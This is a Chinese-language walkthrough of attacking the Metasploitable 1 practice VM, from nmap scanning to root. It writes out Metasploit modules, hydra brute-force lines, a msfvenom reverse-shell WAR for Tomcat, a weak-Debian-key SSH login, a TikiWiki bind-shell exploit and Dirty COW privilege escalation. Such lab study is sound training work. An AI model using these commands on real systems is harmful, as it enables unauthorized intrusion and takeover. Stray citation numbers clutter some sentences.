Metasploitable: 1靶场渗透
Metasploitable: 1
来自 <Metasploitable: 1 ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.142
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.142
目标主机漏洞分析表(192.168.23.142)
端口 | 服务 | 版本/信息 | 漏洞风险 | 利用建议 |
21 | FTP | ProFTPD 1.3.1 | CVE-2010-4221:远程命令执行(mod_copy模块) | msf> use exploit/unix/ftp/proftpd_modcopy_exec |
22 | SSH | OpenSSH 4.7p1 | 弱密码/密钥泄露风险,支持不安全的SSHv1协议 | 爆破密码:hydra -l root -P wordlist.txt ssh://192.168.23.142 |
23 | Telnet | Linux telnetd | 明文传输凭证,未授权访问风险 | 爆破登录:nc 192.168.23.142 23 + 手工测试弱密码 |
25 | SMTP | Postfix | VRFY命令用户枚举,SSLv2协议漏洞(中间人攻击) | 枚举用户:telnet 192.168.23.142 25 → VRFY root |
80 | HTTP | Apache 2.2.8 + PHP 5.2.4 | PHP漏洞(RFI/命令注入),TRACE方法跨站攻击风险 | 扫描路径:nikto -h http://192.168.23.142,检查/phpmyadmin/等目录 |
139/445 | Samba | Samba 3.0.20-Debian | CVE-2007-2447:未授权命令执行(username参数注入) | msf> use exploit/multi/samba/usermap_script |
3306 | MySQL | MySQL 5.0.51a | 弱密码风险(root空密码),权限提升漏洞 | 登录测试:mysql -h 192.168.23.142 -u root -p(密码空) |
3632 | distccd | distccd v1 | CVE-2004-2687:未授权远程命令执行 | msf> use exploit/unix/misc/distcc_exec |
5432 | PostgreSQL | PostgreSQL 8.3.x | 弱密码(postgres:postgres),认证绕过漏洞(CVE-2007-6600) | 爆破登录:hydra -l postgres -P wordlist.txt postgres://192.168.23.142 |
8009 | AJP13 | Apache Jserv | 可能关联Tomcat的Ghostcat漏洞(CVE-2020-1938) | 检查Tomcat文件读取 |
8180 | HTTP | Apache Tomcat 5.5 | 控制台弱密码(tomcat:tomcat),远程代码执行漏洞(CVE-2009-3098) | 爆破控制台:http://192.168.23.142:8180/manager/html |
4,访问80端口http服务
扫描网站存在的子目录
dirsearch -u http://192.168.23.142 -x 404,403
http://192.168.23.142/phpinfo.php
http://192.168.23.142/tikiwiki/tiki-index.php
5,然后再访问8180端口存在的http服务
应该是存在文件上传漏洞的,结合metasploit利用之
需要进行登录,burpsuite抓个包
基于basic认证,账户密码被base64加密,使用自定义迭代器爆破得到账户密码为tomcat
使用decoder模块进行编码
6,然后登录tomcat
登录成功,是系统默认的账户密码。找到存在文件上传的位置
http://192.168.23.142:8180/manager/html/list
然后使用msfvenom生成war文件格式的木马
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.23.128 LPORT=4444 -f war -o shell.war
msfconsole -q
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.23.128
set LPORT 4444
run
war文件上传成功
木马位置如下,访问这个文件就可以成功触发木马实现远程控制
http://192.168.23.142:8180/shell
7,然后使用python脚本启动一个可交互shell
python -c 'import pty;pty.spawn("/bin/bash")'
信息收集一下
uname -a
lsb_release -a
存在泄露的公钥文件,找到私就可以ssh登录
cat /root/.ssh/authorized_keys
提权方法一:openssl软件包伪随机数泄露
8,可能存在openssl软件包伪随机数泄露,下载私钥文件,然后筛选出能够登录的私钥文件
典型漏洞案例:Debian OpenSSL PRNG 弱随机数漏洞(CVE-2008-0166)
漏洞基本信息
- 漏洞编号:CVE-2008-0166
- 影响范围:Debian 系列(如 Ubuntu)2006年9月~2008年5月之间生成的 SSH 密钥、SSL 证书等
- 漏洞类型:伪随机数生成器被削弱,导致密钥可预测
- 影响版本:
- OpenSSL 0.9.8c-1 到 0.9.8g-9(Debian/Ubuntu)
- 发现时间:2008年5月
- 危害等级:高危
漏洞原理
Debian 开发者为了消除 OpenSSL 在 Valgrind 下的内存未初始化警告,错误地移除了影响随机数种子的关键代码(MD_Update()),结果使得生成的随机数几乎固定。
换句话说:系统用来生成密钥的“随机性”被严重削弱,导致密钥实际是“可枚举”的。
ssh-keygen -t rsa
本应生成不可预测的密钥,结果在漏洞版本中生成的密钥只与进程 ID 等极少量因素有关,最多几万个组合。
影响结果
- SSL 证书/SSH 密钥 可被暴力破解
- VPN、HTTPS、SSH 连接存在严重安全隐患
- 所有在受影响系统中生成的密钥都不再安全!
攻击者可以:
- 枚举可能的私钥(约 32,000 个),快速进行密钥重放攻击
- 破解 TLS/SSL 连接,进行中间人攻击(MITM)
下载密钥文件包
export https_proxy="socks5://192.168.99.74:7897"
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
tar -xvjf 5622.tar.bz2
- -x:解压(extract)
- -v:显示过程(verbose,可选)
- -j:通过 bzip2 解压缩(因为 .bz2)
- -f:指定文件名(file)
cd rsa/2048
grep -l AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable *.pub
cp /root/rsa/2048/57c3115d77c56390332dc5c49978627a-5429 /root/
chmod 600 57c3115d77c56390332dc5c49978627a-5429
ssh -i 57c3115d77c56390332dc5c49978627a-5429 \
-o HostKeyAlgorithms=+ssh-rsa \
-o PubkeyAcceptedKeyTypes=+ssh-rsa \
root@192.168.23.142
成功变成root用户
提权方法二:CVE-2007-2447:未授权命令执行(username参数注入)
漏洞核心信息 169
- 影响版本:Samba 3.0.20 - 3.0.25rc3
- 漏洞类型:远程命令注入(无需身份认证)
- 根本原因:
当 Samba 配置中启用了非默认选项 username map script(用户名映射脚本)时,攻击者可在用户名中插入 Shell 元字符(如 ;、|、反引号 `),使服务器执行任意命令。 - 风险等级:高危(可获取 root 权限)610。
漏洞利用原理
- 攻击路径:
- 通过 SMB 协议的会话建立请求(如 SamrChangePassword 函数),注入包含恶意命令的用户名(例如 /=`nohup恶意命令` )910。
- Samba 将用户名传递给 /bin/sh 执行,导致命令在服务端运行16。
- 利用条件:
- Samba 配置需启用 username map script 选项(非默认配置)9。
- 目标端口(139/445)开放且未修复漏洞。
渗透测试利用步骤(Metasploit) 346
msfconsole
use exploit/multi/samba/usermap_script
set RHOST 192.168.1.10
set PAYLOAD cmd/unix/bind_netcat
exploit
结果:成功获取目标系统的 root 权限 Shell610。
防御与修复方案
- 紧急修复:
- 升级 Samba:更新至 3.0.25rc3 以上版本(官方于 2007年5月14日发布补丁)59。
- 禁用高危配置:在 smb.conf 中移除或注释 username map script 选项10。
- 访问控制强化:
- 使用 hosts allow 限制访问源 IP(例如 hosts allow = 192.168.1.0/24)10。
- 关闭不必要的 SMB 端口(139/445)6。
- 入侵检测:
- 监控 /var/log/samba/log.smbd 中的异常用户名请求(如包含 ;、` 等字符)1。
漏洞生命周期关键事件 259
日期 | 事件 |
2007-05-07 | 漏洞匿名报告至 security@samba.org |
2007-05-09 | Samba 开发者发布补丁 |
2007-05-14 | 漏洞公开(CVE-2007-2447) |
2010-02-16 | Metasploit 集成攻击模块(usermap_script) |
总结
- 漏洞本质:配置不当 + 输入未过滤 → 无需认证的远程代码执行。
- 现代威胁:
虽属古老漏洞,但未升级的嵌入式设备或内网老旧系统仍存在风险(如 Metasploitable 靶机)46。 - 渗透意义:
经典案例揭示了 “信任用户输入” 的致命性,后续版本 Samba 强化了输入过滤与安全默认配置910
9,使用msf进行漏洞利用
msfconsole -q
use exploit/multi/samba/usermap_script
options
set RHOST 192.168.23.142
set PAYLOAD cmd/unix/bind_netcat
run
第三种方法:tikiwiki1.9.5 Nday实现getshell,内核漏洞实现提权
10,使用git复制攻击脚本和工具,攻击目标正是80端口的tikiwiki服务
git clone GitHub - d3fudd/TikiWiki_1.9.5_Exploit: TikiWiki 1.9.5 Sirius exploit (Bind Shell)
cd TikiWiki_1.9.5_Exploit
bash tikiwiki_graph_formula_exec.sh http://192.168.23.142/tikiwiki/
方法是正向连接获取shell
nc -vn 192.168.23.142 1337
python -c 'import pty;pty.spawn("/bin/bash")'
11,然后再下载脏牛脚本实现提权攻击
wget https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c
//使用Python开启临时网站
python3 -m http.server
//靶机下载本机的dirty.c过来
cd /tmp
wget http://192.168.23.128:8000/dirty.c
//编译
gcc -pthread dirty.c -lcrypt -o dirty
//给权限
chmod +x dirty
//执行
./dirty
然后ssh连接登录root,密码为1。su也可以切换成root用户